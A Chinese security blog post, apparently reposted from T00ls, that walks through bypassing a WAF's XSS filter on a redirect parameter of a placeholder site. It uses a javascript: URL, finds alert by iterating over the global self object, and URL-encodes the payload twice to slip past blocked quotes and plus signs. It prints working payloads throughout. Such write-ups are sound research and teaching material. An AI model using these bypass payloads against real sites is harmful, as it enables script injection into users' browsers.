【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例

  • A+
所属分类:安全文章

【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例


声明:此漏洞站点已修复

1) 前提内容
先知一篇《使用JavaScript全局变量绕过XSS过滤器》的文章
https://xz.aliyun.com/t/5395

2) 发现过程

https://foosite.com/path/share.htm?redirectUrl=https://evil_site.com/

发现https://evil_site.com/ 原样输出到了下列script语句

【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例



window.runParams.redirectUrl='https://evil_site.com/'中,
最后通过Share.init()进行跳转,
已经确定存在任意URL重定向漏洞,
这种前端跳转的方式可不可以构造XSS呢?

经过测试这里有限制,有WAF且过滤了单引号,双引号,加号被替换成了空。
下面最简单的payload是不会奏效的,无法逃逸出单引号。
https://foosite.com/path/share.htm?redirectUrl=https://evil.site/';foo_code(1);//

于是使用JavaScript伪协议构造

https://foosite.com/path/share.htm?redirectUrl=javascript:alert()

发现WAF拦截了alert()、confirm()、prompt(),遇到就返回拦截页面。

但是发现console.log并没有过滤
https://foosite.com/path/share.htm?redirectUrl=javascript:console.log(11)  

浏览器conlose会打印出“111”,(忘记截图了)
感觉是黑名单过滤方式,有了点信心,从而确定了深入挖掘的决心。
一个XSS如果不能弹窗,总感觉缺少点什么。

3) 绕过WAF
翻到开头那篇《使用JavaScript全局变量绕过XSS过滤器》的文章,
找到一种方法,为了绕过alert()的限制,按其方法构造,
先计算alert在self中数组的位置,console输入以下内容:
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; } // c=148
返回结果为148。(浏览器升级后,会变,今天截图是145)

【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例



然后构造好以下Payload:

javascript:self[Object.keys(self)[148]]("foo")

拼接链接,发现不行,因为双引号是被过滤了的。
修改成不含单双引号的如下Payload:

javascript:self[Object.keys(self)[148]](1)

拼接链接URL编码,自己访问
https://foosite.com/path/share.h ... %5b148%5d%5d%281%29;//

【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例



BOOM! 确实可以弹窗,页面源码如下:

【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例



但是由于浏览器的不同alert所处的位置都不同,以上链接的Payload不具通用性,换个浏览器或者版本就不行了。
经过分析,WAF过滤了单双引号,原文章的这个Payload是最符合我的要求:

a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}

自己改造成如下Payload:

c=0;for(i in self){if(/^a[rel]+t$/.test(i)){self[Object.keys(self)[c]](1)}c++;};

本地浏览器测试可以弹窗,目标站点上发现会将+号替换成空,Payload执行失效。
长久尝试后,想到将“+”先URL编码一次会怎样呢?
“+”编码后如下

c=0;for(i in self){if(/^a[rel]%2bt$/.test(i)){self[Object.keys(self)[c]](1)}c%2b%2b;};

拼接javascript:后,再URL编码一次:

%6a%61%76%61%73%63%72%69%70%74%3a%63%3d%30%3b%66%6f%72%28%69%20%69%6e%20%73%65%6c%66%29%7b%69%66%28%2f%5e%61%5b%72%65%6c%5d%25%32%62%74%24%2f%2e%74%65%73%74%28%69%29%29%7b%73%65%6c%66%5b%4f%62%6a%65%63%74%2e%6b%65%79%73%28%73%65%6c%66%29%5b%63%5d%5d%28%31%29%7d%63%25%32%62%25%32%62%3b%7d%3b

拼接后的URL
https://foosite.com/path/share.h ... 2%25%32%62%3b%7d%3b
打开浏览器,成功绕过WAF弹窗

【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例


页面源码如下:

【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例




4) 总结
1.多总结些大佬的奇技淫巧和Payload,必要时能用上,
2.编码绕过,四两拨千斤,


【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例

本文始发于微信公众号(T00ls):【奇技淫巧】使用JavaScript全局变量绕过WAF XSS过滤实例

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: